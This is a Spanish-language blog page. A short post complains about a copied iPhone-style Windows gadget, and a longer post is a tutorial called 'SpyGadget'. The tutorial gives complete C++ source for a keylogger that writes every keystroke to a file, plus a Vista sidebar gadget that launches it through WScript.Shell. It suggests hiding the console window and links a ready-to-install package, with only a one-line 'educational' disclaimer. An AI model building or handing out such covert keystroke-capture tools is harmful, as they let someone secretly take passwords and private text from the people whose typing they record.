Entradas etiquetadas como ‘Gadget’

¿Como llamarlo? – iPhone Gadget

Como siempre andaba vigilando que tal las estadísticas del iPod y Zune Gadget cuando de repente me doy cuenta de algo que me llamo la atención Reproductor iPhone  , mmm muy a la idea iPod Gadget ; Decidí bajarlo.

Una vez instalado, mis ojos no creían lo que estaban viendo era el ZuneGadget pero con forma de iPhone.

Busca las 10 Diferencias

Debo de aceptar que esta muy bonito y se ve el esfuerzo del autor, así que lo pase por alto, ¬¬ hasta que llegue a los créditos…

TODO ES IGUAL!!! mismo mensaje de pantalla mismos errores (no pone pause). ¬¬ en los créditos no existe mención alguna de donde se baso el autor “Rafa Marcén”

image

image 

image

Ahora comprendo que a los mejores les pasa 😉 y si existen copias, es por que ruido estamos haciendo, es como tener un iFone envés de un iPhone =P es lo mismo, tal vez mejor pero no el original =D.

Hay se los dejo a su criterio =’).

Solo pedimos un poco de crédito “todos lo merecemos”

Anuncios

SpyGadget “ Keylogger para windows vista”

Hace apenas unos días acaba de terminar un evento al cual asistimos los mejores estudiantes de México que utilizamos y fomentamos las tecnologías Microsoft. Así es me refiero al SUMMIT 2009 de los Microsoft Student Partners; (mas info beatandbyte.com )en este evento hubo un concurso de DEMOS, y estuvo muy padre por que demostramos todo el conocimiento que tenemos en una sencilla aplicación, los competidores fueron muy buenos al mostrar sus demos ( Ángel Miguel, Norberto Rojas, Ángel Cruz, Felipe López, Erick Ruiz). Y al final quedamos en colgar la aplicación, así como el código en nuestro blog ^^  para los que estén interesados ( los MSP que nos evaluaron).

Antes que nada quiero decir que esta demo es mostrada de forma educativa nunca con algún fin maligno [Cada quien se hace responsable].

Para empezar quiero dejar en claro algunos conceptos:

image

 

Windows Gadget: Es una pequeña aplicación o programa, cuyo objetivo es dar fácil acceso a funciones frecuentemente usadas por el usuario así como proveer de información visual

 

image Keylogger: Un keylogger (registrador de teclas) es una herramienta de diagnóstico utilizada en el desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

 

Lo que aremos será una aplicación Gadget de windows Vista que se ejecute y guarde un archivo log.txt en C:\ con todo lo que el usuario escriba en el teclado.

Ahora manos a la obra:

1.-

Crear un Keylogger con C++ en Visual Studio: Tan fácil como copiar y pegar el siguiente código en una aplicación de consola de Win32 en Microsoft Visual C++  (el código esta comentado).

image

Archivo: keylogger_gadget.cpp    Download

   1: // keytecladoger_gadget.cpp: define el punto de entrada de la aplicación de consola.
   2: //
   3:  
   4: #include "stdafx.h"
   5: #include <iostream>
   6: #include <windows.h>
   7: #include <fstream>
   8:  
   9: using namespace std;
  10:  
  11:  
  12: int _tmain(int argc, _TCHAR* argv[])
  13: {
  14:  
  15: bool monitor = true; //Variable del ciclo - que monitorea las entradas de teclado
  16: ofstream teclado; //Creamos la variable de "entrada de teclado" de tipo ofstream
  17: teclado.open("C:\\teclado.txt",ofstream::out|ofstream::app); //Creamos el archivo teclado.txt en modo de escritura
  18:  
  19: //Mensaje desplegado  -si se falla al crear el archivo.
  20: if(teclado.fail()){
  21:     cout<<" Error al escribir el log "<<endl;
  22: }
  23:  
  24: while(monitor){ //Ciclo para verificar cuando se presione una tecla
  25:         //LETRAS
  26:         if (GetAsyncKeyState('A') == -32767){
  27:             teclado << "A";
  28:         }
  29:  
  30:         if (GetAsyncKeyState('B') == -32767){
  31:             teclado << "B";
  32:         }
  33:  
  34:         if (GetAsyncKeyState('C') == -32767){
  35:             teclado << "C";
  36:         }
  37:  
  38:         if (GetAsyncKeyState('D') == -32767){
  39:             teclado << "D";
  40:         }
  41:  
  42:         if (GetAsyncKeyState('E') == -32767){
  43:             teclado << "E";
  44:         }
  45:  
  46:         if (GetAsyncKeyState('F') == -32767){
  47:             teclado << "F";
  48:         }
  49:  
  50:         if (GetAsyncKeyState('G') == -32767){
  51:             teclado << "G";
  52:         }
  53:  
  54:         if (GetAsyncKeyState('H') == -32767){
  55:             teclado << "H";
  56:         }
  57:  
  58:         if (GetAsyncKeyState('I') == -32767){
  59:             teclado << "I";
  60:         }
  61:  
  62:         if (GetAsyncKeyState('J') == -32767){
  63:             teclado << "J";
  64:         }
  65:  
  66:         if (GetAsyncKeyState('K') == -32767){
  67:             teclado << "K";
  68:         }
  69:  
  70:         if (GetAsyncKeyState('L') == -32767){
  71:             teclado << "L";
  72:         }
  73:  
  74:         if (GetAsyncKeyState('M') == -32767){
  75:             teclado << "M";
  76:         }
  77:  
  78:         if (GetAsyncKeyState('N') == -32767){
  79:             teclado << "N";
  80:         }
  81:         
  82:         if (GetAsyncKeyState('O') == -32767){
  83:             teclado << "O";
  84:         }
  85:  
  86:         if (GetAsyncKeyState('P') == -32767){
  87:             teclado << "P";
  88:         }
  89:  
  90:         if (GetAsyncKeyState('Q') == -32767){
  91:             teclado << "Q";
  92:         }
  93:  
  94:         if (GetAsyncKeyState('R') == -32767){
  95:             teclado << "R";
  96:         }
  97:  
  98:         if (GetAsyncKeyState('S') == -32767){
  99:             teclado << "S";
 100:         }
 101:  
 102:         if (GetAsyncKeyState('T') == -32767){
 103:             teclado << "T";
 104:         }
 105:  
 106:         if (GetAsyncKeyState('U') == -32767){
 107:             teclado << "U";
 108:         }
 109:  
 110:         if (GetAsyncKeyState('V') == -32767){
 111:             teclado << "V";
 112:         }
 113:  
 114:         if (GetAsyncKeyState('W') == -32767){
 115:             teclado << "W";
 116:         }
 117:  
 118:         if (GetAsyncKeyState('X') == -32767){
 119:             teclado << "X";
 120:         }
 121:  
 122:         if (GetAsyncKeyState('Y') == -32767){
 123:             teclado << "Y";
 124:         }
 125:  
 126:         if (GetAsyncKeyState('Z') == -32767){
 127:             teclado << "Z";
 128:         }       
 129:         //NUMEROS
 130:         if (GetAsyncKeyState('1') == -32767){
 131:             teclado << "1";
 132:         }
 133:  
 134:         if (GetAsyncKeyState('2') == -32767){
 135:             teclado << "2";
 136:         }
 137:  
 138:         if (GetAsyncKeyState('3') == -32767){
 139:             teclado << "3";
 140:         }
 141:  
 142:         if (GetAsyncKeyState('4') == -32767){
 143:             teclado << "4";
 144:         }
 145:  
 146:         if (GetAsyncKeyState('5') == -32767){
 147:             teclado << "5";
 148:         }
 149:  
 150:         if (GetAsyncKeyState('6') == -32767){
 151:             teclado << "6";
 152:         }
 153:  
 154:         if (GetAsyncKeyState('7') == -32767){
 155:             teclado << "7";
 156:         }
 157:  
 158:         if (GetAsyncKeyState('8') == -32767){
 159:             teclado << "8";
 160:         }
 161:  
 162:         if (GetAsyncKeyState('9') == -32767){
 163:             teclado << "9";
 164:         }
 165:  
 166:         if (GetAsyncKeyState('0') == -32767){
 167:             teclado << "0";
 168:         }
 169:         //teclas virtuales
 170:         if (GetAsyncKeyState(VK_SPACE) == -32767){
 171:             teclado << " ";
 172:         }
 173:  
 174:         if (GetAsyncKeyState(VK_CAPITAL) == -32767){
 175:             teclado << " Mayus-";
 176:         }
 177:  
 178:         if (GetAsyncKeyState(VK_BACK) == -32767){
 179:             teclado << " BACKSPACE ";
 180:         }
 181:  
 182:         if (GetAsyncKeyState(VK_LSHIFT) == -32767){
 183:             teclado << " SHIFT-";
 184:         }
 185:  
 186:         if (GetAsyncKeyState(VK_MENU) == -32767){
 187:             teclado << " ALT-";
 188:         }
 189:     
 190:     }
 191:     //Cerramos el Archivo para que almacene lo que escribimos
 192:     teclado.close(); //Cerramos el archivo para que guarde los cambios
 193:     return 0;
 194:     /*[+][+][+]*/
 195: }
 196:  

 

*Nota: En este código no esta incluida la opción de ocultar la consola al

ejecutar el programa, pero es muy sencillo utilizando la propiedad ShowWindow.

Una vez que tenemos nuestro Keylogger necesitamos colocar el archivo keylogger_gadget.exe en C:\ (puede ser en cualquier lugar, pero en este ejemplo será en el directorio raíz)

2.-

Ahora realizaremos el Gadget de Windows vista para esto usaremos 4 carpetas y y 3 archivos, a continuación su descripción:

Carpetas

SpyGadget.gadget – Carpeta principal que contendrá las carpetas css, js , images y los archivos Spy_gadget.html, Settings.html, gadget.xml

css – Contiene las hojas de estilo para nuestro Gadget. (en este ejemplo Spy_gadget.css )

js – Contiene los archivos js (JavaScript) de nuestro Gadget

images – Contiene las imágenes de nuestro Gadget

Archivos

Spy_gadget.html –Contiene el código html que define el cuerpo de mi Gadget

Código

   1: <html xmlns="http://www.w3.org/1999/xhtml">
   2: <head>
   3: <title>SpyGadget</title>
   4: </head>
   5: <body>
   6: <link href="../css/Spy_gadget.css" rel="stylesheet" type="text/css" >
   7: <script>
   8: function go() {
   9: w = new ActiveXObject("WScript.Shell");
  10: w.run('c:\keylogger_gadget.exe');
  11: return true;
  12: }
  13: </script>
  14: <form>
  15:    Iniciar Keylogger
  16: <input type="button" value="Go" 
  17: onClick="return go()">
  18: </form>
  19:  
  20: </body>
  21: </html>

 

Podemos ver que en la línea 8 definimos la función go() esta es la encargada de crear un Objeto del tipo ActiveX para llamar una aplicación de shell en este caso: ‘c:\keylogger_gadget.exe’ (línea 10).

En la línea 17 definimos la acción que al darle clic al botón llamamos la función go();

Settings.html – Contiene el código de las configuraciones del Gadget

(en este ejemplo lo dejaremos vacio)

gadget.xml – Es el archivo manifiesto XML que contiene las características del Gadget

 

   1: <?xml version="1.0" encoding="utf-8" ?>
   2: <gadget>
   3:     <name>Spy Gadget</name>
   4:     <namespace>Spy</namespace>
   5:     <version>1.0</version>
   6:     <author name="rubick">
   7:         <info url="http://gamer01.es.vg" />
   8:         <logo src="images/icon.png" />      
   9:     </author>
  10:     <copyright>©2009</copyright>
  11:     <description>SpyGadget</description>
  12:     <icons>
  13:     <icon height="200" width="200" src="images/icon.png" />
  14:   </icons>
  15:     <hosts>
  16:         <host name="sidebar">
  17:             <base type="HTML" apiVersion="1.0.0" src="Spy_gadget.html" />
  18:             <permissions>full</permissions>
  19:             <platform minPlatformVersion="0.3" />
  20:         </host>
  21:     </hosts>
  22: </gadget>

 

Este archivo es obligatorio para definir cualquier gadget, de aqui solo mensionare la linea importante que es: linea 17 src="Spy_gadget.html" indicamos que el archivo que contiene la base del Gadget.

Spy_gadget.css (contenido en la carpeta css) – Hoja de estilo que da diseño a mi gadget

 

   1: body
   2: {
   3:     width: 130px;
   4:     height:100px;
   5:     margin: 0px;
   6:     margin-top:15px;
   7: }

 

No hay mucho que explicar. width – ancho height – alto, defino el tamaño de mi Gadget

Archivo: SpyGadget.gadget.rar  Download

(Si deseas mas información para crear Gadget te recomiendo que visites los video tutoriales del blog amigo Nor o los archivos de ayuda de MSDN)

Con esto tenemos todo lo que necesitamos =) ahora a convertir nuestros archivos a un instalador de Gadget.

3.-

Para convertir todos nuestros archivos a un instalador de gadget es tan facil como seleccionar todos los archivos y enviarlos a una carpeta comprimida, una vez hecho esto seleccionamos el archivo ZIP y lo renombramos con la extencion *.gadget

image

image

Con eso termino el pequeño tutorial, si alguien tiene duda deje un comentario o contácteme por mail.

Descarga el Gadget Listo para instalar

http://cid-b6da429042310bfa.skydrive.live.com/self.aspx/P%c3%bablico/Blog%20darkchicles/SpyGadget/Spy%7C_gadget.gadget

*(No olvides colocar el archivo keylogger_gadget.exe en C:\)

 

Aquí dejo una presentación de Power Point con algunas explicaciones

«Pendiente»

Nota Final: En windows vista el archivo keylogger_gadget.exe debe ser ejecutado como administrador para poder guardar el log en C:\

  Gracias a todos loa friend’s del SUMMIT 2009 😉

Nube de etiquetas